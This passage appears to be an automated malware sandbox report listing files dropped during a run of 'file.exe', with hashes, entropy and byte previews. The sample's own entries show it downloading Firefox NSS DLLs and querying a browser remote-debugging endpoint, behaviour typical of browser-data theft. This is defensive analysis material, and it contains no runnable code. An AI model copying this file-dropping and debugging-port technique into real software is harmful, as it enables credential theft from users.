Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.015853074579424
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUYThYVn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUhn
MD5:	230A9C70C6FBCE8D915CEB9554AE192A
SHA1:	046D3446307E7A1DAC67ADC20613BCF25B006D0C
SHA-256:	5A104545D3CC0789DBA3DE487C4DD1EE6B166B0A53995D83D8F14A63FDE517D5
SHA-512:	F01397C3F6A93FC5311543AA2B1BC667E076FD56B5C2A3F14A901EB537559274DC278028049F85622BF81BB42C6DE2DB7BF313F141A7CFBDBDB271D71BB592F0
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731482184323853}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b46f1cd4-89b7-4ef9-a0ea-b76a15e8e6c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.0961964719356585
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBZwuKhDO6vP6O103Mm92nAocGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEl69chu3VlXr4CRo1
MD5:	A742F9B31AB33DE2051B630CC0266083
SHA1:	6B9340A3207E9416E69028D09D5E73509D2D05AA
SHA-256:	C924C6FF3E757038E7D3FDD62A9BDE8688465CCBD0CBE1CC90A32EB906DA232E
SHA-512:	8C6D05B20CEEB834022BD44E4B19D03F0118AED737CF194AE5A2512E2B9CA1C3CD1A13D7C39B76643533E967FC4C2552F22C53DA012C7D22175E43B93C8E75E1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cc5d34ef-4ef9-426d-b063-b1bbd231ccd1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d5ac020a-aebd-4d44-b262-b5bc4c66d6fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46027
Entropy (8bit):	6.087458198776882
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQcrQgx9sfbujhDO6vP6O1wWyWnecFizP2185CAoIGoup1Xl3jVzXr8:RMk1rT8HR9sx6IP2185RoIhu3VlXr4L
MD5:	3678713A956791A4D9F86346335AA0A0
SHA1:	519539D95A9ADEB686ADF1D456BE5ED206ACEECC
SHA-256:	7019C256182F47E6654BCAA221701D7210130A2E9824FCD28C22B32D5CE28288
SHA-512:	35D5CC29172EF445C9F64526E927EA7432EA8BC0EDC3205C9370C6487A4DACEEF59B5DE19B0762937F31A99DDCC075EC249B9F1D3A456A57B9E0E1F76ACAA748
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731381385"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8479997630917837
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxRxl9Il8uoeT6yh7JeXlPlSXd3GfyEd1rc:mUYO6LeXltSXd3GU
MD5:	CB753077F0C072A3CA75E724C3604BFF
SHA1:	244D1781CA6C2830A135AC20EAC8F7D969185038
SHA-256:	1120B0C5771EC8C41AA29A71AE2FB1EBF8C36BFEDC776E73ABD05E2BA0B0945C
SHA-512:	90B51E766B1789A6D158DAD223C7B737A5AD13BB377F02DE52BB32E68C9395DDC60BC33C461D96BD20B031649803B90598A2BE5D55023C88A3675CFCFD35BFC9
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.N.y.m.o.r.k.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.9.I.b.8.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.0038341054286954
Encrypted:	false
SSDEEP:	96:XY7YqvO1u25uMX0cbXaANMrlKzk1586AdT:XsYqvixdDSKoI68
MD5:	9EE875BDC6411BA453421C879DD3CEBF
SHA1:	B905CD0BFAD036DC47A0D07DF7251ACBAB91B114
SHA-256:	5EB093FAC5049E6174EAC593F1751FEF773DA4479526B6E6F940D3EE5ADB836D
SHA-512:	62D8EFABBCACDA82DC9B2A4DEAD5628007E956458223D33968F3139D3E85ED5CB2A5E0E5A141FFCE7C958EB38DB3BFA711565F5C54570AED1A24F4153D969687
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".K.l.O.M.i.L.E.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.9.I.b.8.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8992726583431274
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xuxl9Il8u80E0sRXCA7Phj0fEvzWuM/hV9ZHnYuEd/vc:aUYa10ARTvzqZHnZ
MD5:	E424B92A6DA81DF4F19FDB0F9748E957
SHA1:	0641ED700D2A8D084D7E74E5C2333E0BE09FBE83
SHA-256:	AA32FD5B253901923CC90B777855211337838E11F323C964C2C70424C4D42750
SHA-512:	C60A700ECAC34EB4B58B9E26DA316E32BD3BDC98A817C9D5711D252FF787340C62F06206A7814A03E3704F582A412B5C46F717234EDE6AF8B388CED951AB023A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".s.u.2.E.u.Y.J.T.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.9.I.b.8.v.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.389505558946262
Encrypted:	false
SSDEEP:	96:6NnQ+HQINnQBY9bQBkNnQGDL9QDNnQVdgEQtNnQT6ZQT+NnQ0DQ+NnQRkPwQRANt:6NPNHN2N08NxNxBNLSNt
MD5:	BE311854844D24FEC329FB0F1F41ADE1
SHA1:	5D5E7AE644DDDF4009B1BCCF4B1520CBEF218185
SHA-256:	145648684748DC4F97099F15B34EBA43437297F87F50D4F59F30D8E2A62809C5
SHA-512:	F3FE794BD5DD23956CA5ACF9C57324F6B1C7450B98FCDA959DE9B4C6D3950FA6221B19DC00B49035CC455A318397A44E0087EA654ACE9B4F1F41FA44B43D2F08
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C15B152C68FBC02A3E99085ED3C2624A",.. "id": "C15B152C68FBC02A3E99085ED3C2624A",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C15B152C68FBC02A3E99085ED3C2624A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/02976024E12EE7E2B4E5289CCC66CD28",.. "id": "02976024E12EE7E2B4E5289CCC66CD28",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/02976024E12EE7E2B4E5289CCC66CD28"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.378076722467998
Encrypted:	false
SSDEEP:	48:SfNaoQ5TEQafNaoQgQXwfNaoQRQKfNaoQ00UrU0U8Qj:6NnQ5TEQiNnQgQX8NnQRQSNnQ00UrU0Y
MD5:	7D74BFE98B74BC8352FDF847A05D3003
SHA1:	6958ED1966ACBD6C1AEAB0B8CBCF82A847D87995
SHA-256:	0BAD7280105A60485E18679856F2E647477D44EB8E42867EE721594A73A7AD6A
SHA-512:	D90914FAD825AB56A659C1E21ED9514C3E53E783046D1400FC7E05CF250CD9B012954624E09B9DA58746729F052E22920C99AA38CEC7E33A26BF6432D24F8B38
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4E5A8667B9CFAD1D3B31D5786BBE3FBD",.. "id": "4E5A8667B9CFAD1D3B31D5786BBE3FBD",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4E5A8667B9CFAD1D3B31D5786BBE3FBD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6AEA436A61573FF68A2F115E1E82B8D5",.. "id": "6AEA436A61573FF68A2F115E1E82B8D5",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6AEA436A61573FF68A2F115E1E82B8D5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
